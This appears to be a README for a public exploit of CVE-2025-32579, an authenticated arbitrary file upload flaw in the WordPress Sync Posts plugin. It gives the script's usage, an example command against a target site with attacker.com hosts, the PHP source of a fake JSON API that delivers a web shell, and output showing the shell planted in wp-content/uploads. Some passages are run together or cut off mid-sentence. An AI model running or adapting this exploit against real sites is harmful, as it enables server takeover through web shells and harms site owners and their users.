
WordPress Sync Posts Plugin <= 1.0 is vulnerable to Arbitrary File Upload
📦 Affects: Sync Posts <= 1.0
🧨 CVSS Score: 9.9 CRITICAL
📁 CVSS Vector:CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
The Sync Posts WordPress plugin by SoftClever Limited is vulnerable to an Unrestricted File Upload vulnerability that allows authenticated attackers to upload and execute arbitrary PHP files (such as web shells) on the server.
website_url which returns JSON posts.wp-content/uploads.The exploit script automates the full chain:
<img src="https://raw.githubusercontent.com/nxploited/cve-2025-32579/HEAD/...">website_url to admin-ajax.php?action=sync_posts/uploads/usage: CVE-2025-32579.py [-h] -u URL -un USERNAME -p PASSWORD -ws WEBSITE -shell WEBSHELL
Exploit For CVE-2025-32579 Sync Posts # By: Nxploited ( Khaled Alenazi )
options:
-h, --help show this help message and exit
-u, --url URL Target WordPress URL (e.g., http://target.com/wordpress)
-un, --username USERNAME
Username to login
-p, --password PASSWORD
Password to login
-ws, --website WEBSITE
URL to fake API (e.g., http://attacker.com/Khaled_alenazi.php)
-shell, --webshell WEBSHELL
Web shell URL used inside the fake API (can be a test image)
python3 CVE-2025-32579.py -u http://target/wordpress -un admin -p pass123 -ws http://attacker.com/Khaled_alenazi.php -shell http://attacker.com/shell.php
You can also use a dummy image instead of a real shell for testing:
--webshell https://via.placeholder.com/1x1.jpg
This is the response returned by Khaled_alenazi.php:
<?php
header('Content-Type: application/json');
echo json_encode([
[
"id" => 1,
"title" => ["rendered" => "Nxploited"],
"content" => [
"rendered" => "<img src="http://attacker.com/shell.php">"
]
]
]);
?>
[*] Attempting login...
[+] Logged in successfully.
[+] Generated fake API PHP file: Khaled_alenazi.php
[+] Sending exploit request to: http://target.com/wordpress
[+] Request sent successfully.
{
"success": true,
"data": {
"message": "Posts imported successfully",
...
}
}
shell.phpwp-content/uploads/2025/04/shell.phpwebsite_url access to internal domains or whitelisted hostsCVE: CVE-2025-32579
Exploit By Nxploited (Khaled Alenazi)
| Flag | Description |
|---|
-u, --url | Target WordPress URL |
-un, --username | WordPress username (admin) |
-p, --password | WordPress password |
-ws, --website | URL to malicious PHP file that returns fake post JSON |
-shell, --webshell | The actual shell file to inject via `` |